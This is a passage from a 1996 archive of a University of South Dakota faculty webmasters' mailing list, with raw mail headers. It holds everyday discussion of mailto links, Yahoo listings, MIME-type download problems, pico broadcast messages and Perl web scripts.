""mailout,"" how to do the HTML, etc. I have some preliminary thoughts about some of the above and am probably naive about others. Am I on track, Cheri? Let me know. Dale _________________________________________________________ Dale S. Farland, InTEC, School of Education, 605-677-5844 DFARLAND@SUNDANCE.USD.EDU PS Thanks, Cheri, for ""kick-starting"" discussion, and thanks to Karen & Heidi for all your work! >Would someone be willing to discuss the different approaches to >including a mailer or ""mailout"" function on your homepage, and >what you feel the advantages to each are? > >Thanks a lot! > >Cheri > >~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ >Cheryl Feight USD College of Fine Arts >677-5712 cfeight@charlie.usd.edu Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id XAA28690 for ; Thu, 22 Feb 1996 23:32:19 -0600 From: CFEIGHT@charlie.usd.edu Date: Thu, 22 Feb 1996 23:30:25 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960222233025.218e4@charlie.usd.edu> Subject: Re: mailout functions Dale asked for clarification on my ""mailout"" question. I must admit that since I asked I have come up with a solution that I am happy with. But in developing it, I looked at a couple of different sets of code for sending email back, and wondered what the advantages were of each. (such as writing your own versus using the Netscape function, etc.) And, to get the discussion going, what kind of messages have you received from your email address on the web? I have listed my homepage with Yahoo and find that most of the questions I receive are regarding my cats (not what I had intended but often quite interesting). Cheri ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cheryl Feight USD College of Fine Arts cfeight@charlie.usd.edu Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA12262 for ; Fri, 23 Feb 1996 10:43:31 -0600 Received: from [192.236.45.17] (med17.med.usd.edu [192.236.45.17]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id KAA05486 for ; Fri, 23 Feb 1996 10:36:52 -0600 Message-Id: <199602231636.KAA05486@sunflowr.usd.edu> From: ""Barry Timms"" Subject: Internet UFO's To: Multiple recipients of list Date: Fri, 23 Feb 96 10:35:56 PST Encoding: 12 TEXT The other evening, whilst editing an HTML file using pico, several lines of text suddenly appeared from cyberspace and embedded themselves in my document ! Unfortunately, I cannot remember the wording because I made a quick exit from the editor for fear of losing my text or being invaded further. Has anyone else experienced this phenomenon? I was connected to the Net usingTrumpet Winsock. Cheers, Barry ......................... Barry Timms, Anatomy & Structural Biology ........ .................... Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id LAA14267 for ; Fri, 23 Feb 1996 11:20:17 -0600 Received: (from kzimm@localhost) by sundance.usd.edu (8.6.12/8.6.12) id LAA07680; Fri, 23 Feb 1996 11:17:53 -0600 Date: Fri, 23 Feb 1996 11:17:52 -0600 (CST) From: Karen Zimmerman X-Sender: kzimm@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: Internet UFO's In-Reply-To: <199602231636.KAA05486@sunflowr.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 23 Feb 1996, Barry Timms wrote: > The other evening, whilst editing an HTML file using pico, several lines of > text suddenly appeared from cyberspace and embedded themselves in my > document ! I don't know that I've had that problem whilst pico-ing, but I've definitely had it whilst playing around online. I think it's just a case of ""line noise""--you know, the FBI wiretaps on the phonelines, etc... :) --Karen Z. Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id LAA15504 for ; Fri, 23 Feb 1996 11:48:38 -0600 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id LAA17357; Fri, 23 Feb 1996 11:46:13 -0600 Date: Fri, 23 Feb 1996 11:46:13 -0600 (CST) From: Michael Marek X-Sender: mmarek@sundance To: Webula List Subject: Re: mailout functions (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 22 Feb 1996 CFEIGHT@charlie.usd.edu wrote: > Dale asked for clarification on my ""mailout"" question. > I must admit that since I asked I have come up with a solution > that I am happy with. But in developing it, I looked at a couple > of different sets of code for sending email back, and wondered > what the advantages were of each. (such as writing your own versus > using the Netscape function, etc.) Here's the text I use in the USD Foundation html to allow people to send mail to the foundation:
Send E-Mail to the USD Foundation or Alumni Association:
Mike Marek, Development Officer
This gives a nicely formatted screen for composing the message, and as far as I can tell is pretty common to web pages. I use my own address because that is most convenient. A web page that is a bit bigger operation might want to set up a special address for this mail to go to. I have received several pieces of mail this way, often asking questions to be forwarded to the Alumni Association or others staff members who are not Internet Active. About the only disadvantage is that I can't *tell* whether the mail is from the WWW page or just a direct E-Mail message. This is where a special address would be nice. > I have listed my homepage with Yahoo and ...... It would be interesting to know how to do that. :-) --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id NAA19814 for ; Fri, 23 Feb 1996 13:12:48 -0600 Received: (from lzimm@localhost) by sundance.usd.edu (8.6.12/8.6.12) id NAA16836; Fri, 23 Feb 1996 13:10:26 -0600 Date: Fri, 23 Feb 1996 13:10:25 -0600 (CST) From: Larry Zimmerman X-Sender: lzimm@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: mailout functions (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have used the mailto: on the anthropology web pages since the beginning and it is *very* useful. I would recommend having a separate e-mail address for the homepage so you can track who uses it. I get about 5 e-mails a week to that address. At the same time, I've used mailto: e-mail addresses for each faculty member and for each unit of the web site so that individuals can contact the person in charge of an individual unit/page within the anthro resources page. Re: the lines of text showing up in pico, usually for me it is a matter of the lines being in my windows clipboard and me hitting the paste function somehow. Larry J. Zimmerman Department of Anthropology University of South Dakota Vermillion, SD 57069-2390 USA Telephone: Direct Office 605-677-5596 Messages (Social Behavior)x5401 Fax 605-677-5595 Home 605-624-6223 ******************************************* See our web site at http://www.usd.edu/anth Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id NAA21130 for ; Fri, 23 Feb 1996 13:37:41 -0600 From: CFEIGHT@charlie.usd.edu Date: Fri, 23 Feb 1996 13:35:48 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960223133548.22f3e@charlie.usd.edu> Subject: Re: mailout functions (fwd) Michael asked about registering your page with Yahoo. It is really pretty simple, the trick is to get them to include you. If you click on their ""Add URL"" button on their first page, the steps walk you through how to submit. What I've found is that if you list several possible categories, they are more likely to include you (especially if it is a category without a lot of items currently listed). I have received a few pieces of email that came through folks finding the page in a Yahoo search. Glad to see some activity in the discussion group -- I know there is a lot of expertise out there and it is helpful to have it to draw upon! Anecdote: I updated my personal page yesterday around 5 pm. This morning on my email I had a response from a women in England specifically commenting on the new design! What an incredible medium we have at our disposal. have a good weekend, Cheri ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cheryl L. Feight Director of Computer Resources for the USD College of Fine Arts cfeight@charlie.usd.edu voice: 605-677-5712 Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id OAA23442 for ; Fri, 23 Feb 1996 14:22:16 -0600 From: COLLETTE@charlie.usd.edu Date: Fri, 23 Feb 1996 14:20:22 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960223142022.222ca@charlie.usd.edu> Subject: RE: Internet UFO's What you probably experienced is a broadcast message. Someone trying to ""talk"" to you, or ""write"" to you. It will not harm your editing session. You can get rid of the garbage text by using the refresh command from within pico ^L. After a refresh things should look normal again. Also to avoid this you can issue the command mesg n, before starting pico which will supress broadcast messages. You could also add the mesg n to your .login file which would always suppress messages when logged in, this may or may not be what you want though :). -Joe Collette Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id PAA27756 for ; Fri, 23 Feb 1996 15:40:05 -0600 Received: (from mmarek@localhost) by sundance.usd.edu (8.6.12/8.6.12) id PAA08026; Fri, 23 Feb 1996 15:37:42 -0600 Date: Fri, 23 Feb 1996 15:37:42 -0600 (CST) From: Michael Marek X-Sender: mmarek@sundance To: webula-l@sunbird.usd.edu Subject: Re: mailout functions (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Fri, 23 Feb 1996, Larry Zimmerman wrote: > Re: the lines of text showing up in pico, usually for me it is a matter of > the lines being in my windows clipboard and me hitting the paste > function somehow. That's why I included my actual text -- so others could copy and paste it (changing the address as needed). :-) --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id RAA06127 for ; Fri, 23 Feb 1996 17:29:15 -0600 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Fri, 23 Feb 1996 17:27:22 -0600 (CST) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <312E6902@csmsgate.csrv.usd.edu>; Fri, 23 Feb 96 17:25:22 PST From: ""Erickson, Sandra J."" To: webula-l Subject: Re: mailout functions Date: Fri, 23 Feb 96 17:24:00 PST Message-ID: <312E6902@csmsgate.csrv.usd.edu> Encoding: 39 TEXT X-Mailer: Microsoft Mail V3.0 The mail I've received has mostly been either someone asking about South Dakota or SD alumni that happened to stumble onto my page!! -Sandy **************************************************************************** ******************* Sandra J. Erickson serickso@charlie.usd.edu USD Computing Services a.k.a. Lit'l Cyclone ""Never ascribe to malice what can be perfectly well explained by stupidity."" **************************************************************************** ******************* ---------- From: webula-l To: Multiple recipients of list Subject: Re: mailout functions Date: Thursday, February 22, 1996 11:51PM Dale asked for clarification on my ""mailout"" question. I must admit that since I asked I have come up with a solution that I am happy with. But in developing it, I looked at a couple of different sets of code for sending email back, and wondered what the advantages were of each. (such as writing your own versus using the Netscape function, etc.) And, to get the discussion going, what kind of messages have you received from your email address on the web? I have listed my homepage with Yahoo and find that most of the questions I receive are regarding my cats (not what I had intended but often quite interesting). Cheri ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Cheryl Feight USD College of Fine Arts cfeight@charlie.usd.edu Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id RAA06884 for ; Fri, 23 Feb 1996 17:44:20 -0600 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Fri, 23 Feb 1996 17:42:26 -0600 (CST) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <312E6C8B@csmsgate.csrv.usd.edu>; Fri, 23 Feb 96 17:40:27 PST From: ""Erickson, Sandra J."" To: webula-l Subject: Mike's Question Date: Fri, 23 Feb 96 17:39:00 PST Message-ID: <312E6C8B@csmsgate.csrv.usd.edu> Encoding: 45 TEXT X-Mailer: Microsoft Mail V3.0 Well I guess I'll bite on Mike's question. Even though I 've not been able to get to a Webmaster's meeting, the sense that I have gotten from talking to others in the group is that this is a forum to continue discussing issues that are brought up in the meetings. Also, it can be a place for someone that has a problem -- where can I find, etc -- to post to for other people's input. -Sandy Erickson *************************************************************************** Sandra J. Erickson serickso@charlie.usd.edu USD Computing Services a.k.a. Lit'l Cyclone ""Never ascribe to malice what can be perfectly well explained by stupidity."" **************************************************************************** ---------- From: webula-l To: Multiple recipients of list Subject: Re: mailout functions Date: Thursday, February 22, 1996 8:18AM On Wed, 21 Feb 1996 CFEIGHT@charlie.usd.edu wrote: > Well, someone has to be the first to post a foolish questions, so > I decided to volunteer myself (and besides, I was touched by Heidi's > concern over our lack of on-line activity). I asked a question last Friday about the purpose of this list, and have had no replies yet, although one person I've talked to in person has mentioned seeing it. :-) --------------------------- | Michael Marek | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id KAA03240 for ; Mon, 26 Feb 1996 10:13:48 -0600 From: TKELLER@charlie.usd.edu Date: Mon, 26 Feb 1996 10:11:56 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960226101156.15284@charlie.usd.edu> Subject: RE: Administrivia Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id KAA03527 for ; Mon, 26 Feb 1996 10:21:04 -0600 From: TKELLER@charlie.usd.edu Date: Mon, 26 Feb 1996 10:19:12 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960226101912.15284@charlie.usd.edu> Subject: ftp I would like to make some files such as spreadsheets, video clips, etc available for download directly from a web page. I tried referencing the file , thinking that when the browser wouldn't recognize the format it would pop up a window asking how to handle this file. At this point, the user could save this file to their disk. This isn't working. What else do I need to know? Thanks for the help. Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id OAA15089 for ; Mon, 26 Feb 1996 14:05:52 -0600 Received: (from kramakr@localhost) by sundance.usd.edu (8.6.12/8.6.12) id OAA20821; Mon, 26 Feb 1996 14:03:27 -0600 Date: Mon, 26 Feb 1996 14:03:26 -0600 (CST) From: Kumoli Ramakrishnan X-Sender: kramakr@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: RE: Administrivia In-Reply-To: <960226101156.15284@charlie.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Does the blank message mean no ""Administrivia"" ? Ram ********************************************************************* * K. Ramakrishnan* Finance Dept., School of Business, USD *** * Ph. 605-677-5528 ***** FAX 605-677-5427 *** *** * Internet : kramakr@Sunbird.usd.edu *** On Mon, 26 Feb 1996 TKELLER@charlie.usd.edu wrote: ........... blank .......... Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id NAA07643 for ; Tue, 27 Feb 1996 13:52:45 -0600 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Tue, 27 Feb 1996 13:50:52 -0600 (CST) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <31337C1B@csmsgate.csrv.usd.edu>; Tue, 27 Feb 96 13:48:11 PST From: ""Erickson, Sandra J."" To: webula-l Subject: Re: Administrivia Date: Tue, 27 Feb 96 11:34:00 PST Message-ID: <31337C1B@csmsgate.csrv.usd.edu> Encoding: 31 TEXT X-Mailer: Microsoft Mail V3.0 this is a test. -sje ---------- From: webula-l To: Multiple recipients of list Subject: Re: Administrivia Date: Friday, February 16, 1996 5:03PM On Fri, 16 Feb 1996, Heidi M. Nickisch wrote: > You may be surprised to find yourself subscribed to WEBULA-L, The USD > Faculty Webmasters Listserv. However, the group decided at our last > meeting that it would save everyone time and effort if I simply subscribed > everyone on Karen's email list. This will REPLACE Karen's email list > and all announcements will come through here. I haven't had time to attend the Webmaster's meetings so far. Is this intended as a nuts-and-bolts ""how to I change the color of the background"" discussion list, or more one designed for policy matters? --------------------------- | Michael Marek | | USD Foundation | | MMAREK@SUNFLOWR.USD.EDU | | Vermillion, SD | `-------------------------' Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id OAA09152 for ; Tue, 27 Feb 1996 14:17:09 -0600 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Tue, 27 Feb 1996 14:15:16 -0600 (CST) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <313381D2@csmsgate.csrv.usd.edu>; Tue, 27 Feb 96 14:12:34 PST From: ""Erickson, Sandra J."" To: webula-l Subject: RE: ftp Date: Tue, 27 Feb 96 14:11:00 PST Message-ID: <313381D2@csmsgate.csrv.usd.edu> Encoding: 37 TEXT X-Mailer: Microsoft Mail V3.0 Can you include some more info? If I have read your message correctly: You have place the files you want accessible in a public directory or subdirectory that has the correct settings for someone to download from. Is the referencing not working or the pop-up window or saving to the disk part? -Sandy **************************************************************************** *** Sandra J. Erickson serickso@charlie.usd.edu USD Computing Services a.k.a. Lit'l Cyclone Minds are like parachutes, they work best when they are open. **************************************************************************** *** ---------- From: webula-l To: Multiple recipients of list Subject: ftp Date: Monday, February 26, 1996 1:20PM I would like to make some files such as spreadsheets, video clips, etc available for download directly from a web page. I tried referencing the file , thinking that when the browser wouldn't recognize the format it would pop up a window asking how to handle this file. At this point, the user could save this file to their disk. This isn't working. What else do I need to know? Thanks for the help. Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id OAA02646 for ; Wed, 28 Feb 1996 14:47:04 -0600 From: TKELLER@charlie.usd.edu Date: Wed, 28 Feb 1996 14:45:08 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960228144508.2b2d4@charlie.usd.edu> Subject: more on ftp The ftp problem appears to be related to the .wq1 file type. I'm referencing the file with file . When the file is a video file or an excel spreadsheet everything happens the way I expect it to. Only my quattro pro 4.0 (.wq1) files are causing a problem. my browser (netscape 2.0) tries to load it as .htm file and displays a blank page ??????? tina Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id RAA09969 for ; Wed, 28 Feb 1996 17:37:45 -0600 Received: from [192.236.47.2] by 192.236.47.2 with SMTP; Wed, 28 Feb 1996 17:35:52 -0600 (CST) X-Sender: dfarland@sunflowr.usd.edu Message-Id: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Date: Wed, 28 Feb 1996 17:39:49 -0600 To: webula-l@sunbird.usd.edu From: dfarland@sunbird.usd.edu (Dale S. Farland) Subject: Re: more on ftp Tina, That is an interesting issue - .htm = .wq1? One thing I was going to suggest is compressing the .wq1 file into a self-extracting (or not self-extracting) compressed file. With a standard extension and the helper application available to Netscape, it should then extract the file when downloaded if that is the default option in Netscape. The other advantage is that the file should be smaller and load more quickly. Dale > The ftp problem appears to be related to the .wq1 file type. > >I'm referencing the file with file . >When the file is a video file or an excel spreadsheet everything happens >the way I expect it to. Only my quattro pro 4.0 (.wq1) files are causing >a problem. my browser (netscape 2.0) tries to load it as .htm file and >displays a blank page ??????? > >tina Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id IAA07795 for ; Thu, 29 Feb 1996 08:16:27 -0600 Received: from [192.236.33.49] ([192.236.33.49]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id IAA17188 for ; Thu, 29 Feb 1996 08:09:27 -0600 Message-Id: <199602291409.IAA17188@sunflowr.usd.edu> From: ""Brian D. Lamp"" Subject: Re: more on ftp To: Webula Date: Thu, 29 Feb 96 8:22:50 PST Encoding: 27 TEXT , 4 TEXT > The ftp problem appears to be related to the .wq1 file type. > >I'm referencing the file with file . >When the file is a video file or an excel spreadsheet everything happens >the way I expect it to. Only my quattro pro 4.0 (.wq1) files are causing >a problem. my browser (netscape 2.0) tries to load it as .htm file and >displays a blank page ??????? > >tina Apparently this problem is related to the MIME configuration of our Web server. I have been trying to do similar things with Word and Wordperfect files, with the same problems. However, on advice from a posting to the newsgroup comp.infosystems.www.browsers.ms-windows, the source has been narrowed to the Web server itself. If it doesn't send the MIME type correctly, Netscape handles the file improperly. (note: apparently Netscape is more picky about this than Moasic, as I've been more successful using Mosaic for downloads) Fortunately, the CSCI folks, as well as the people who man HELP@charlie.usd. edu, were able to correctly configure the server to handle files with DOC, and EXE extensions. Perhaps with a little more tweeking of configuration WQ1 files can be accommodated as well. Good Luck, Brian Dr. Brian D. Lamp Department of Chemistry blamp@sunbird.usd.edu University of South Dakota Phone: 605-677-6186 414 E. Clark Street Fax: 605-677-6397 Vermillion, SD 57069 Received: from sundance.usd.edu (sundance.usd.edu [192.55.228.42]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id JAA13213 for ; Thu, 29 Feb 1996 09:34:56 -0600 Received: (from kramakr@localhost) by sundance.usd.edu (8.6.12/8.6.12) id JAA19912; Thu, 29 Feb 1996 09:32:26 -0600 Date: Thu, 29 Feb 1996 09:32:25 -0600 (CST) From: Kumoli Ramakrishnan X-Sender: kramakr@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: more on ftp In-Reply-To: <199602291409.IAA17188@sunflowr.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 29 Feb 1996, Brian D. Lamp wrote: > Apparently this problem is related to the MIME configuration of our Web > server. I have been trying to do similar things with Word and Wordperfect > files, with the same problems. However, on advice from a posting to the > newsgroup comp.infosystems.www.browsers.ms-windows, the source has been > narrowed to the Web server itself. If it doesn't send the MIME type > correctly, Netscape handles the file improperly. > (note: apparently Netscape is more picky about this than Moasic, as I've > been more successful using Mosaic for downloads) > > Fortunately, the CSCI folks, as well as the people who man HELP@charlie.usd. > edu, were able to correctly configure the server to handle files with DOC, > and EXE extensions. Perhaps with a little more tweeking of configuration > WQ1 files can be accommodated as well. ..............> Just a brief comment. I have my class syllabus (on my experimental Homepage www.usd.edu/~kramakr), in both Word 6.0 and Text formats. Netscape seems to handle the Word files just perfect (after the first time when it asks for a Viewer to Configure). The text files, I have yet to figure out how to get them to retain some sort of a formatting. However, given that the page is just about a week old (Thanks to the HTML workshop last saturday), I am sure I'll make time to figure things out in due course. One other thing, I recall (perhaps in a Microsoft publication) reading about a ""free Word Viewer"" that can be sent along with documents for folks to view with formatting intact. If I recall correct it is available for downloading free from the microsoft site.. Ram * Finance Dept., School of Business *** * K. Ramakrishnan *** * Ph. 605-677-5528 * FAX 605-677-5427 Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id KAA17285 for ; Thu, 29 Feb 1996 10:52:48 -0600 Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id KAA21633; Thu, 29 Feb 1996 10:45:46 -0600 Date: Thu, 29 Feb 1996 10:50:15 -0600 (CST) From: Joe Reynoldson X-Sender: jreynold@sundance To: webula-l@sunbird.usd.edu cc: Multiple recipients of list Subject: Re: ftp In-Reply-To: <960226101912.15284@charlie.usd.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII > I would like to make some files such as spreadsheets, video clips, etc > available for download directly from a web page. I tried referencing the file > , thinking that when the browser wouldn't recognize the format it would > pop up a window asking how to handle this file. At this point, the user could > save this file to their disk. This isn't working. What else do I need to know? > Thanks for the help. The problem you are experiencing is that the mime type is not configured to work with our http server (www.usd.edu). We have placed the mime.types file at the following URL: http://www.usd.edu/mime.types Everyone can feel free to take a look at it and make suggestions about extensions you would like us to support. We are not aware of all standard extensions, so mostly we have stuck with the defaults. Any suggestions would be welcome. For example, our server supports .wp and .wpd extensions for Wordperfect files. If there are other STANDARD extensions for different wordperfect versions, we would be happy to add them. We cannot, however, just add any old extension. It has to be a STANDARD extension in order for us to support it. Thanks for your patience and your input. Joe (with hat) Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id OAA13781 for ; Thu, 29 Feb 1996 14:30:28 -0600 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Thu, 29 Feb 1996 14:28:36 -0600 (CST) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <313627FB@csmsgate.csrv.usd.edu>; Thu, 29 Feb 96 14:26:03 PST From: ""Erickson, Sandra J."" To: webula-l Subject: Re: ftp Date: Thu, 29 Feb 96 14:25:00 PST Message-ID: <313627FB@csmsgate.csrv.usd.edu> Encoding: 49 TEXT X-Mailer: Microsoft Mail V3.0 I think that .wk1 extensions are pretty common for spreadsheets. And .dbf for Database files? -Sandy *************************************************************************** Sandra J. Erickson serickso@charlie.usd.edu USD Computing Services a.k.a. Lit'l Cyclone http://www.usd.edu/~serickso **************************************************************************** ---------- From: webula-l To: Multiple recipients of list Subject: Re: ftp Date: Thursday, February 29, 1996 11:16AM > I would like to make some files such as spreadsheets, video clips, etc > available for download directly from a web page. I tried referencing the file > , thinking that when the browser wouldn't recognize the format it would > pop up a window asking how to handle this file. At this point, the user could > save this file to their disk. This isn't working. What else do I need to know? > Thanks for the help. The problem you are experiencing is that the mime type is not configured to work with our http server (www.usd.edu). We have placed the mime.types file at the following URL: http://www.usd.edu/mime.types Everyone can feel free to take a look at it and make suggestions about extensions you would like us to support. We are not aware of all standard extensions, so mostly we have stuck with the defaults. Any suggestions would be welcome. For example, our server supports .wp and .wpd extensions for Wordperfect files. If there are other STANDARD extensions for different wordperfect versions, we would be happy to add them. We cannot, however, just add any old extension. It has to be a STANDARD extension in order for us to support it. Thanks for your patience and your input. Joe (with hat) Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id TAA24382 for ; Thu, 29 Feb 1996 19:02:22 -0600 From: TKELLER@charlie.usd.edu Date: Thu, 29 Feb 1996 19:00:31 -0600 (CST) To: webula-l@sunbird.usd.edu Message-Id: <960229190031.303b7@charlie.usd.edu> Subject: Re: ftp thanks that would be great! tina Received: from charlie.usd.edu (charlie.usd.edu [192.55.228.1]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id MAA09244 for ; Fri, 1 Mar 1996 12:01:07 -0600 Received: from csmsgate.csrv.usd.edu by charlie.usd.edu with SMTP; Fri, 1 Mar 1996 11:59:15 -0600 (CST) Received: by csmsgate.csrv.usd.edu with Microsoft Mail id <3137565B@csmsgate.csrv.usd.edu>; Fri, 01 Mar 96 11:56:11 PST From: ""Erickson, Sandra J."" To: webula-l Subject: FW: Administrivia Date: Fri, 01 Mar 96 11:54:00 PST Message-ID: <3137565B@csmsgate.csrv.usd.edu> Encoding: 18 TEXT X-Mailer: Microsoft Mail V3.0 I have a question: Do we support Java yet ? Has anyone worked with it? -Sandy *************************************************************************** Sandra J. Erickson serickso@charlie.usd.edu USD Computing Services a.k.a. Lit'l Cyclone http://www.usd.edu/~serickso Those footprints on the sands of time were make by work shoes. **************************************************************************** Received: from sunbird (sunbird.usd.edu [192.55.228.37]) by sunbird.usd.edu (8.6.12/8.6.9) with SMTP id LAA27747 for ; Fri, 15 Mar 1996 11:41:44 -0600 Date: Fri, 15 Mar 1996 11:41:43 -0600 (CST) From: ""Timothy H. Heaton"" X-Sender: theaton@sunbird To: WEBULA-L Subject: PERL programs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I've been doing some PERL programming for the web that may be of interest to some here. One program I've created allows a web visitor to add his URL to a list so that it is immediately accessible as a link for others to use. (It is similar to the guest comments feature on the USD home page.) I have this set up for a couple of lists I'm involved with, and I also have a test version that anyone can give a try at http://www.usd.edu/~theaton/programs/url-list.html I run a research list called SITKA, and I have created a web page where people can issue various listpric commands from the web and thus avoid having to know the command syntax. You can check this out on the SITKA home page at http://www.usd.edu/~theaton/sitka If anyone would like copies of my html or script files to modify for their own purposes, just let me know. Timothy H. Heaton /|Mountains /| theaton@sunbird.usd.edu Professor of Earth Sciences /::|Deserts /::| Phone: (605) 677-6122 University of South Dakota /::::|Caves /::::| FAX: (605) 677-6121 Vermillion, SD 57069 /::::::| /::::::| Radio: WB7NMY Home Page: http://www.usd.edu/~theaton Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id LAA02732 for ; Mon, 18 Mar 1996 11:56:42 -0600 Received: from sundance (sundance.usd.edu [192.55.228.42]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id LAA00381 for ; Mon, 18 Mar 1996 11:48:36 -0600 Date: Mon, 18 Mar 1996 11:53:46 -0600 (CST) From: Joe Reynoldson X-Sender: jreynold@sundance To: webula-l@sunbird.usd.edu Subject: perl programs Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII I have been working on a couple of perl programs recently. I believe they may be of some use to those subscribed to this list. I have set up examples of these programs in two pages. One is http://www.usd.edu/search/icons.html, and the other is http://www.usd.edu/search/webdocs.html. Both of them require a browser which supports frames, so if you don't have Netscape 2.0 or 2.01, you should probably get it (at least if you want to view these particular pages). These are dynamic pages which can be used to display images or html files, as well as a directory structure. I have made the icons.html and webdocs.html pages as examples, but the code can be modified relatively easily to work for any site or set of directories. If you have any questions or suggestions about these programs, please send me mail. That's jreynold@sundance.usd.edu. This is an ongoing project, so the source code may change frequently. Please be gentle with any criticisms. Joe ""... father always said laughter was the best cure I guess that's why so many of us kids died of tb... Received: from sunflowr.usd.edu (sunflowr.usd.edu [192.55.228.5]) by sunbird.usd.edu (8.6.12/8.6.9) with ESMTP id MAA06735 for ; Mon, 18 Mar 1996 12:38:54 -0600 Received: from ACHCOOR.SSS.USD.EDU (achcoor.sss.usd.edu [192.236.44.161]) by sunflowr.usd.edu (8.6.12/8.6.9) with SMTP id MAA01609 for ; Mon, 18 Mar 1996 12:30:47 -0600 Date: Mon, 18 Mar 1996 12:30:47 -0600 